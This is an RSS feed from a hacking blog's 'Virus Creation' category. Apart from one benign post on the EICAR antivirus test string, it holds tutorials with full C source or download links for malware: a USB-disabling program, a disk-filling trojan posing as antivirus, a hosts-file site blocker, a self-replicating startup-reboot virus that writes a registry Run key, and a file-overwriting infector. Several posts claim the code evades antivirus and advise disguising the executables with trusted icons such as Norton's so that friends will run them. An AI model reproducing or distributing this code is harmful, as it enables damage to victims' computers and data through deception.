<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Go Hacking &#187; VIRUS CREATION</title>
	<atom:link href="http://www.gohacking.com/category/virus-creation/feed" rel="self" type="application/rss+xml" />
	<link>http://www.gohacking.com</link>
	<description>Learn How To Hack! Know more about Computer/Internet Security. Get Real Hacking Tips from Experts. Cool place to Learn Hacking</description>
	<lastBuildDate>Wed, 01 Sep 2010 10:52:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>How to Test the Working of your Antivirus &#8211; EICAR Test</title>
		<link>http://www.gohacking.com/2010/04/how-to-test-the-working-of-your-antivirus-eicar-test.html</link>
		<comments>http://www.gohacking.com/2010/04/how-to-test-the-working-of-your-antivirus-eicar-test.html#comments</comments>
		<pubDate>Sat, 17 Apr 2010 18:58:56 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[HOW-TO GUIDES]]></category>
		<category><![CDATA[PC SECURITY]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>

		<guid isPermaLink="false">http://www.gohacking.com/?p=2421</guid>
		<description><![CDATA[Have you ever wondered how to test your Antivirus software to ensure it&#8217;s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-2422" title="Test your Antivirus" src="http://www.gohacking.com/wp-content/uploads/2010/04/antivirus.jpg" alt="" width="230" height="234" />Have you ever wondered how to test your Antivirus software to ensure it&#8217;s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will work on any antivirus and was developed by <a href="http://en.wikipedia.org/wiki/EICAR" target="_blank">European Institute of Computer Antivirus Research</a>. This process can be used by people, companies and antivirus programmers to test the proper functioning of the antivirus/antimalware software without having to deal with the real computer virus which can cause damage to the computer. Here is a step-by-step procedure to test your antivirus.</p>
<p>1. Open a notepad (New Text Document.TXT) and copy the following code exactly onto it, and save the notepad.</p>
<pre style="text-align: center;"><strong><div id="stb-container" class="stb-container"><div class='stb-info-caption_box stb_caption' >EICAR Test code</div><div class='stb-info-body_box stb_body' ><strong>X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*</strong></div></div></strong></pre>
<p>2. Rename the file from New Text Document.TXT to myfile.com</p>
<p>3. Now run the antivirus scan on this myfile.com file.</p>
<p>If the antivirus is functioning properly on your computer, then it should generate a warning and immediately delete the file upon scanning. Otherwise you may have to re-install your antivirus.</p>
<div class='stb-warning_box' >NOTE: Most antivirus will pop-out a warning message in the Step-1 itself</div>
<p>You can also place the myfile.com file in a ZIP or RAR file and run a scan on it so as to ensure whether your antivirus can detect the test string in the compressed archive. Any antivirus when scanning this file will respond exactly as it will do for a genuine virus/malicious code. This test will cause no damage to your computer even though the antivirus will flag it as a malicious script. Hence it is the safest method to test the proper functioning of any antivirus.</p>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=2421&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2010/04/how-to-test-the-working-of-your-antivirus-eicar-test.html/feed</wfw:commentRss>
		<slash:comments>51</slash:comments>
		</item>
		<item>
		<title>A Virus Program to Disable USB Ports</title>
		<link>http://www.gohacking.com/2009/07/creating-a-virus-to-disable-usb-ports.html</link>
		<comments>http://www.gohacking.com/2009/07/creating-a-virus-to-disable-usb-ports.html#comments</comments>
		<pubDate>Sun, 19 Jul 2009 12:42:43 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>
		<category><![CDATA[WINDOWS VISTA HACKS]]></category>
		<category><![CDATA[WINDOWS XP HACKS]]></category>

		<guid isPermaLink="false">http://www.gohacking.com/?p=1597</guid>
		<description><![CDATA[In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1598" title="Virus to disable USB ports" src="http://www.gohacking.com/wp-content/uploads/2009/07/block_usb.jpg" alt="Virus to disable USB ports" width="257" height="179" />In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.</p>
<p>Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you&#8217;ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.</p>
<p>1. <a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/USB_Block.rar">Download</a> the <a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/USB_Block.rar">USB_Block.rar</a> file on to your computer.</p>
<p>2. It contains the following 4 files.</p>
<ul>
<li>block_usb.c (source code)</li>
<li>unblock_usb.c (source code)</li>
</ul>
<p>3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - <span><a rel="bookmark" href="http://www.gohacking.com/2009/07/how-to-compile-c-programs.html">How to Compile C Programs</a>.</span></p>
<p>3. Upon compilation of block_usb.c you get <strong>block_usb.exe</strong> which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).</p>
<p>4. To test this virus, just run the <strong>block_usb.exe </strong>file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the <strong>unblock_usb.exe</strong>  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.</p>
<p><span>5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post &#8211; <span><a title="Permanent Link to How to Change the ICON of an EXE file" rel="bookmark" href="http://www.gohacking.com/2008/10/how-to-change-icon-of-exe-file.html">How to Change the ICON of an EXE file</a> (This step is also optional).</span></span></p>
<p><span><span>I hope you like this post. Please pass your comments.</span></span></p>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=1597&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2009/07/creating-a-virus-to-disable-usb-ports.html/feed</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>How to Make a Trojan Horse</title>
		<link>http://www.gohacking.com/2009/04/how-to-make-a-trojan-horse.html</link>
		<comments>http://www.gohacking.com/2009/04/how-to-make-a-trojan-horse.html#comments</comments>
		<pubDate>Sun, 05 Apr 2009 13:41:12 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>
		<category><![CDATA[HOW-TO GUIDES]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>
		<category><![CDATA[WINDOWS VISTA HACKS]]></category>
		<category><![CDATA[WINDOWS XP HACKS]]></category>

		<guid isPermaLink="false">http://www.gohacking.com/?p=1126</guid>
		<description><![CDATA[
Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I&#8217;ll show you how to make a simple ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-medium wp-image-1128  aligncenter" title="How to Make a Trojan" src="http://www.gohacking.com/wp-content/uploads/2009/04/trojan-300x246.jpg" alt="How to Make a Trojan" width="300" height="246" /></p>
<p>Most of you may be curious to know about <strong>how to make a Trojan </strong>or Virus on your own. Here is an answer for your curiosity. In this post I&#8217;ll show you <strong>how to make a simple Trojan on your own </strong>using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I&#8217;ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let&#8217;s see how this Trojan works&#8230;</p>
<p>Before I move to explain the features of this Trojan you need to know <a href="http://en.wikipedia.org/wiki/Trojan_horse_(computing)" target="_blank">what exactly is a Trojan horse</a> and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.</p>
<div>&nbsp;</div>
<p><strong>Now lets move to the working of our Trojan</strong></p>
<p>The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the <strong>Windows\System32</strong> folder with the <strong>.dll </strong>extension. Since the junk file has the <strong>.dll</strong> extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.</p>
<div>&nbsp;</div>
<p><strong>The algorithm of the Trojan is as follows</strong></p>
<p>1. Search for the <strong>root drive</strong></p>
<p>2. Navigate to <strong>WindowsSystem32</strong> on the root drive</p>
<p>3. Create the file named &#8220;<strong>spceshot.dll</strong>&#8221;</p>
<p>4. Start <strong>dumping the junk data </strong>onto the above file and keep increasing it&#8217;s size until the drive is full</p>
<p>5. Once the drive is full, <strong>stop the process</strong>.</p>
<p>You can <a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/Space_Eater.rar"><strong>download</strong></a> the Trojan source code<strong> </strong><a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/Space_Eater.rar"><strong>HERE</strong></a>. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.</p>
<div>&nbsp;</div>
<h3>How to compile, test and remove the damage?</h3>
<div>&nbsp;</div>
<p><strong>Compilation:</strong></p>
<p>For step-by-step compilation guide, refer my post <a href="http://www.gohacking.com/2009/07/how-to-compile-c-programs.html" target="_blank">How to compile C Programs</a>.</p>
<p><strong>Testing:</strong></p>
<p>To test the Trojan,  just run the <strong>SpaceEater.exe</strong> file on your computer. It&#8217;ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.</p>
<div class='stb-warning_box' ><em>NOTE: To remove the warning message you&#8217;ve to edit the source code and then re-compile it.</em></div>
<div>&nbsp;</div>
<p><strong>How to remove the Damage and free up the space?</strong></p>
<p>To remove the damage and free up the space, just type the following in the &#8220;<strong>run</strong>&#8221; dialog box.</p>
<div class='stb-info_box' ><strong>%systemroot%\system32</strong></div>
<p>Now search for the file &#8220;<strong>spceshot.dll</strong>&#8220;. Just delete it and you&#8217;re done. No need to re-format the hard disk.</p>
<div class='stb-warning_box' ><strong><em> NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: </em></strong><a href="http://www.gohacking.com/2008/10/how-to-change-icon-of-exe-file.html"><strong><em>How to Change the ICON of an EXE file ?</em></strong></a></div>
<p>Please pass your comments and tell me your opinion. I am just waiting for your comments&#8230;</p>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=1126&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2009/04/how-to-make-a-trojan-horse.html/feed</wfw:commentRss>
		<slash:comments>81</slash:comments>
		</item>
		<item>
		<title>A Virus Program to Block Websites</title>
		<link>http://www.gohacking.com/2008/11/creating-virus-to-block-websites.html</link>
		<comments>http://www.gohacking.com/2008/11/creating-virus-to-block-websites.html#comments</comments>
		<pubDate>Fri, 21 Nov 2008 03:46:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>
		<category><![CDATA[WINDOWS VISTA HACKS]]></category>
		<category><![CDATA[WINDOWS XP HACKS]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=114</guid>
		<description><![CDATA[Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As ...]]></description>
			<content:encoded><![CDATA[<p><img class="size-medium wp-image-134 alignleft" title="firefox-blocked" src="http://www.gohacking.com/wp-content/uploads/2008/12/firefox-blocked.jpg" alt="" width="184" height="175" />Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I&#8217;ll use my favorite programming language <strong>&#8216;C&#8217;</strong> to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.</p>
<p>This virus has been exclusively created in <strong>&#8216;C&#8217;</strong>. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need&#8217;s to be clicked only once by the victim. Once it is clicked, it&#8217;ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install&#8217;s the operating system. This blocking is not just confined to<strong> IE</strong> or <strong>Firefox</strong>. So once blocked, the site will not appear in any of the browser program.</p>
<div class='stb-warning_box' ><strong>NOTE:</strong> You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post <a href="http://www.gohacking.com/2008/01/how-to-block-website.html"><strong>How to Block a Website ?</strong></a></div>
<p>Here is the sourcecode of the virus.</p>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#include&lt;dos.h&gt;<br />
#include&lt;dir.h&gt;</p>
<p>char site_list[6][30]={<br />
&#8220;google.com&#8221;,<br />
&#8220;www.google.com&#8221;,<br />
&#8220;youtube.com&#8221;,<br />
&#8220;www.youtube.com&#8221;,<br />
&#8220;yahoo.com&#8221;,<br />
&#8220;www.yahoo.com&#8221;<br />
};<br />
char ip[12]=&#8221;127.0.0.1&#8243;;<br />
FILE *target;</p>
<p>int find_root(void);<br />
void block_site(void);</p>
<p>int find_root()<br />
{<br />
int done;<br />
struct ffblk ffblk;//File block structure</p>
<p>done=findfirst(&#8220;C:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&amp;ffblk,FA_DIREC);<br />
/*to determine the root drive*/<br />
if(done==0)<br />
{<br />
target=fopen(&#8220;C:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&#8221;r+&#8221;);<br />
/*to open the file*/<br />
return 1;<br />
}</p>
<p>done=findfirst(&#8220;D:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&amp;ffblk,FA_DIREC);<br />
/*to determine the root drive*/<br />
if(done==0)<br />
{<br />
target=fopen(&#8220;D:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&#8221;r+&#8221;);<br />
/*to open the file*/<br />
return 1;<br />
}</p>
<p>done=findfirst(&#8220;E:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&amp;ffblk,FA_DIREC);<br />
/*to determine the root drive*/<br />
if(done==0)<br />
{<br />
target=fopen(&#8220;E:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&#8221;r+&#8221;);<br />
/*to open the file*/<br />
return 1;<br />
}</p>
<p>done=findfirst(&#8220;F:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&amp;ffblk,FA_DIREC);<br />
/*to determine the root drive*/<br />
if(done==0)<br />
{<br />
target=fopen(&#8220;F:\\windows\\system32\\drivers\\etc\\hosts&#8221;,&#8221;r+&#8221;);<br />
/*to open the file*/<br />
return 1;<br />
}</p>
<p>else return 0;<br />
}</p>
<p>void block_site()<br />
{<br />
int i;<br />
fseek(target,0,SEEK_END); /*to move to the end of the file*/</p>
<p>fprintf(target,&#8221;\n&#8221;);<br />
for(i=0;i&lt;6;i++)<br />
fprintf(target,&#8221;%s\t%s\n&#8221;,ip,site_list[i]);<br />
fclose(target);<br />
}</p>
<p>void main()<br />
{<br />
int success=0;<br />
success=find_root();<br />
if(success)<br />
block_site();<br />
}<br />
</div>
<p><strong>How to Compile ?</strong></p>
<p>For step-by-step compilation guide, refer my post <a href="http://www.gohacking.com/2009/07/how-to-compile-c-programs.html" target="_blank">How to compile C Programs</a>.</p>
<p><strong>Testing</strong></p>
<p>1. To test, run the compiled module. It will block the sites that is listed in the source code.</p>
<p>2. Once you run the file <strong>block_Site.exe</strong>, restart your browser program. Then, type the URL of the blocked site and you&#8217;ll see the browser showing error &#8220;<strong>Page cannot displayed</strong>&#8220;.</p>
<p>3. To remove the virus type the following the <strong>Run. </strong></p>
<div class='stb-info_box' ><strong>%windir%\system32\drivers\etc</strong></div>
<p>4. There, open the file named &#8220;hosts&#8221; using the notepad.At the bottom of the opened file you&#8217;ll see something like this</p>
<div class='stb-info_box' >127.0.0.1<span style="color: #ffffff;">                                </span>google.com</div>
<p>5. Delete all such entries which contain the names of blocked sites.</p>
<div class='stb-warning_box' ><strong>NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: <a href="http://www.gohacking.com/2008/10/how-to-change-icon-of-exe-file.html">How to Change the ICON of an EXE file ?</a></strong></div>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=114&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/11/creating-virus-to-block-websites.html/feed</wfw:commentRss>
		<slash:comments>65</slash:comments>
		</item>
		<item>
		<title>A Virus Program to Restart the Computer at Every Startup</title>
		<link>http://www.gohacking.com/2008/10/creating-virus-to-restart-computer-at.html</link>
		<comments>http://www.gohacking.com/2008/10/creating-virus-to-restart-computer-at.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 03:49:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=104</guid>
		<description><![CDATA[
Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-200" title="virus" src="http://www.gohacking.com/wp-content/uploads/2008/12/virus.jpg" alt="" width="300" height="300" /></p>
<p>Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.</p>
<p>For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, <strong>none of the antivirus softwares detect&#8217;s this as a virus </strong>since I have coded this virus in <strong>C</strong>. So if you are familiar with <strong>C language</strong> then it&#8217;s too easy to understand the logic behind the coding.</p>
<p>Here is the source code.</p>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#include&lt;dos.h&gt;<br />
#include&lt;dir.h&gt;</p>
<p>int found,drive_no;char buff[128];</p>
<p>void findroot()<br />
{<br />
int done;<br />
struct ffblk ffblk; <span style="color: #990000;">//File block structure</span><br />
done=findfirst(&#8220;C:\\windows\\system&#8221;,&amp;ffblk,FA_DIREC); <span style="color: #990000;">//to determine the root drive</span><br />
if(done==0)<br />
{<br />
done=findfirst(&#8220;C:\\windows\\system\\sysres.exe&#8221;,&amp;ffblk,0); <span style="color: #990000;">//to determine whether the virus is already installed or not</span><br />
if(done==0)<br />
{<br />
found=1; <span style="color: #990000;">//means that the system is already infected</span><br />
return;<br />
}<br />
drive_no=1;<br />
return;<br />
}<br />
done=findfirst(&#8220;D:\\windows\\system&#8221;,&amp;ffblk,FA_DIREC);<br />
if(done==0)<br />
{<br />
done=findfirst(&#8220;D:\\windows\\system\\sysres.exe&#8221;,&amp;ffblk,0);<br />
if<br />
(done==0)<br />
{<br />
found=1;return;<br />
}<br />
drive_no=2;<br />
return;<br />
}<br />
done=findfirst(&#8220;E:\\windows\\system&#8221;,&amp;ffblk,FA_DIREC);<br />
if(done==0)<br />
{<br />
done=findfirst(&#8220;E:\\windows\\system\\sysres.exe&#8221;,&amp;ffblk,0);<br />
if(done==0)<br />
{<br />
found=1;<br />
return;<br />
}<br />
drive_no=3;<br />
return;<br />
}<br />
done=findfirst(&#8220;F:\\windows\\system&#8221;,&amp;ffblk,FA_DIREC);<br />
if(done==0)<br />
{<br />
done=findfirst(&#8220;F:\\windows\\system\\sysres.exe&#8221;,&amp;ffblk,0);<br />
if(done==0)<br />
{<br />
found=1;<br />
return;<br />
}<br />
drive_no=4;<br />
return;<br />
}<br />
else<br />
exit(0);<br />
}</p>
<p>void main()<br />
{<br />
FILE *self,*target;<br />
findroot();<br />
if(found==0) <span style="color: #990000;">//if the system is not already infected</span><br />
{<br />
self=fopen(_argv[0],&#8221;rb&#8221;); <span style="color: #990000;">//The virus file open&#8217;s itself</span><br />
switch(drive_no)<br />
{<br />
case 1:<br />
target=fopen(&#8220;C:\\windows\\system\\sysres.exe&#8221;,&#8221;wb&#8221;); <span style="color: #990000;">//to place a copy of itself in a remote place</span><br />
system(&#8220;REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\<br />
CurrentVersion\\Run \/v sres \/t REG_SZ \/d<br />
C:\\windows\\system\\ sysres.exe&#8221;); <span style="color: #990000;">//put this file to registry for starup</span><br />
break;</p>
<p>case 2:<br />
target=fopen(&#8220;D:\\windows\\system\\sysres.exe&#8221;,&#8221;wb&#8221;);<br />
system(&#8220;REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\<br />
CurrentVersion\\Run \/v sres \/t REG_SZ \/d<br />
D:\\windows\\system\\sysres.exe&#8221;);<br />
break;</p>
<p>case 3:<br />
target=fopen(&#8220;E:\\windows\\system\\sysres.exe&#8221;,&#8221;wb&#8221;);<br />
system(&#8220;REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\<br />
CurrentVersion\\Run \/v sres \/t REG_SZ \/d<br />
E:\\windows\\system\\sysres.exe&#8221;);<br />
break;</p>
<p>case 4:<br />
target=fopen(&#8220;F:\\windows\\system\\sysres.exe&#8221;,&#8221;wb&#8221;);<br />
system(&#8220;REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\<br />
CurrentVersion\\Run \/v sres \/t REG_SZ \/d<br />
F:\\windows\\system\\sysres.exe&#8221;);<br />
break;</p>
<p>default:<br />
exit(0);<br />
}</p>
<p>while(fread(buff,1,1,self)&gt;0)<br />
fwrite(buff,1,1,target);<br />
fcloseall();<br />
}</p>
<p>else<br />
system(&#8220;shutdown -r -t 0&#8243;); <span style="color: #990000;">//if the system is already infected then just give a command to restart<br />
</span>}</div>
<div class='stb-warning_box' ><strong>NOTE:</strong> <span style="color: #990000;">COMMENTS ARE GIVEN IN BROWN COLOUR.</span></div>
<div>&nbsp;</div>
<p><strong>Compiling The Scource Code Into Executable Virus.</strong></p>
<div>&nbsp;</div>
<p>1. Download the <a rel="nofollow" href="http://www.gohacking.com/downloads/source_codes/SysRes.rar"><strong>Source Code Here</strong></a></p>
<p>2. The downloaded file will be <strong>Sysres.C</strong></p>
<p>3. For step-by-step compilation guide, refer my post <a href="http://www.gohacking.com/2009/07/how-to-compile-c-programs.html" target="_blank">How to compile C Programs</a>.</p>
<div>&nbsp;</div>
<p><strong>Testing And Removing The Virus From Your PC</strong></p>
<div>&nbsp;</div>
<p>You can compile and test this virus on your own PC without any fear. To test, just doubleclick the <strong>sysres.exe</strong> file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.<br />
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.</p>
<div>&nbsp;</div>
<p>1. Reboot your computer in the <strong>SAFE MODE</strong></p>
<p>2. Goto <div class='stb-info_box' ><strong> X:\Windows\System</strong></div> (<strong>X</strong> can be C,D,E or F)</p>
<p>3.You will find a file by name <strong>sysres.exe</strong>, delete it.</p>
<p>4.Type <strong>regedit </strong>in <strong>run</strong>.You will goto registry editor.Here navigate to</p>
<div class='stb-info_box' ><strong>HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run</strong></div><br />
 There, on the right site you will see an entry by name &#8220;<strong>sres</strong>&#8220;.Delete this entry.That&#8217;s it.You have removed this Virus successfully.</p>
<div>&nbsp;</div>
<p><strong>Logic Behind The Working Of The Virus</strong></p>
<div>&nbsp;</div>
<p>If I don&#8217;t explain the logic(<strong>Algorithm</strong>) behind the working of the virus,this post will be incomplete. So I&#8217;ll explain the logic in a simplified manner. Here I&#8217;ll not explain the technical details of the program.<strong> If you have further doubts please pass comments.</strong></p>
<div>&nbsp;</div>
<p><strong>LOGIC:</strong></p>
<div>&nbsp;</div>
<p>1. First the virus will find the Root partition (Partition on which Windows is installed).</p>
<p>2. Next it will determine whether the Virus file is already copied(Already infected) into <strong>X:\Windows\System</strong></p>
<p>3. If not it will just place a copy of itself into <strong>X:\Windows\System</strong> and makes a registry entry to put this virus file onto the startup.</p>
<p>4. Or else if the virus is already found in the <strong>X:\Windows\System</strong> directory(folder), then it just gives a command to <strong>restart</strong> the computer.</p>
<p>This process is repeated every time the PC is restarted.</p>
<p><div class='stb-warning_box' ><strong>NOTE: </strong>The system will not be restarted as soon as you double click the <strong>Sysres.exe</strong> file.The restarting process will occur from the next boot of the system.</div>
<div>&nbsp;</div>
<p><strong><span style="font-size: 130%;">AND ONE MORE THING BEFORE YOU LEAVE</span> (This Step is optional)</strong></p>
<div>&nbsp;</div>
<p>After you compile, the <strong>Sysres.exe</strong> file that you get will have a <strong>default icon</strong>. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this <strong>Sysres.exe</strong> file into any other ICON that is more trusted and looks attractive.</p>
<p>For example you can change the <strong>.exe</strong> file&#8217;s icon into <strong>Norton antivirus</strong> ICON itself so that the people seeing this file beleives that it is <strong>Norton antivirus</strong>. Or you can change it&#8217;s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.</p>
<p>The detailed tutorial on changing the ICON is given in my post <a href="http://www.gohacking.com/2008/10/how-to-change-icon-of-exe-file.html"><strong>How To Change The ICON Of An EXE File</strong></a> .</p>
<img src="http://www.gohacking.com/?ak_action=api_record_view&id=104&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.gohacking.com/2008/10/creating-virus-to-restart-computer-at.html/feed</wfw:commentRss>
		<slash:comments>99</slash:comments>
		</item>
		<item>
		<title>How to Create a Computer Virus?</title>
		<link>http://www.gohacking.com/2007/12/c-program-to-demonstrate-virus-in-c.html</link>
		<comments>http://www.gohacking.com/2007/12/c-program-to-demonstrate-virus-in-c.html#comments</comments>
		<pubDate>Fri, 07 Dec 2007 04:17:00 +0000</pubDate>
		<dc:creator>Srikanth</dc:creator>
				<category><![CDATA[C SOURCE CODES]]></category>
		<category><![CDATA[HOW-TO GUIDES]]></category>
		<category><![CDATA[VIRUS CREATION]]></category>

		<guid isPermaLink="false">http://gohacking.com/?p=29</guid>
		<description><![CDATA[This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.gohacking.com/wp-content/uploads/2008/12/virus.jpg" alt="" width="180" height="180" />This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here&#8217;s the source code of the virus program.<br />
 </p>
<div class='stb-info_box' >#include&lt;stdio.h&gt;<br />
#include&lt;io.h&gt;<br />
#include&lt;dos.h&gt;<br />
#include&lt;dir.h&gt;<br />
#include&lt;conio.h&gt;<br />
#include&lt;time.h&gt;</p>
<p>FILE *virus,*host;<br />
int done,a=0;<br />
unsigned long x;<br />
char buff[2048];<br />
struct ffblk ffblk;<br />
clock_t st,end;</p>
<p>void main()<br />
{<br />
st=clock();<br />
clrscr();<br />
done=findfirst(&#8220;*.*&#8221;,&amp;ffblk,0);<br />
while(!done)<br />
{<br />
virus=fopen(_argv[0],&#8221;rb&#8221;);<br />
host=fopen(ffblk.ff_name,&#8221;rb+&#8221;);<br />
if(host==NULL) goto next;<br />
x=89088;<br />
printf(&#8220;Infecting %s\n&#8221;,ffblk.ff_name,a);<br />
while(x&gt;2048)<br />
{<br />
fread(buff,2048,1,virus);<br />
fwrite(buff,2048,1,host);<br />
x-=2048;<br />
}<br />
fread(buff,x,1,virus);<br />
fwrite(buff,x,1,host);<br />
a++;<br />
next:<br />
{<br />
fcloseall();<br />
done=findnext(&amp;ffblk);<br />
}<br />
}<br />
printf(&#8220;DONE! (Total Files Infected= %d)&#8221;,a);<br />
end=clock();<br />
printf(&#8220;TIME TAKEN=%f SEC\n&#8221;,<br />
(end-st)/CLK_TCK);<br />
getch();<br />
}</div>
<div>&nbsp;</div>
<h3>COMPILING METHOD:</h3>
<div>&nbsp;</div>
<p><strong>USING BORLAND TC++ 3.0 (16-BIT):</strong></p>
<p>1. Load the program in the compiler, press Alt-F9 to compile</p>
<p>2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)</p>
<p>3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT&#8217;S SIZE)</p>
<p>4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)</p>
<p>5. Once again follow the STEP 1 &amp; STEP 2.Now the generated EXE File is ready to infect</p>
<div>&nbsp;</div>
<p><strong>USING BORLAND C++ 5.5 (32-BIT) :</strong></p>
<p>1. Compile once,note down the generated EXE file length in bytes</p>
<p>2. Change the value of X in source code to this length in bytes</p>
<p>3. Recompile it.The new EXE file is ready to infect</p>
<div>&nbsp;</div>
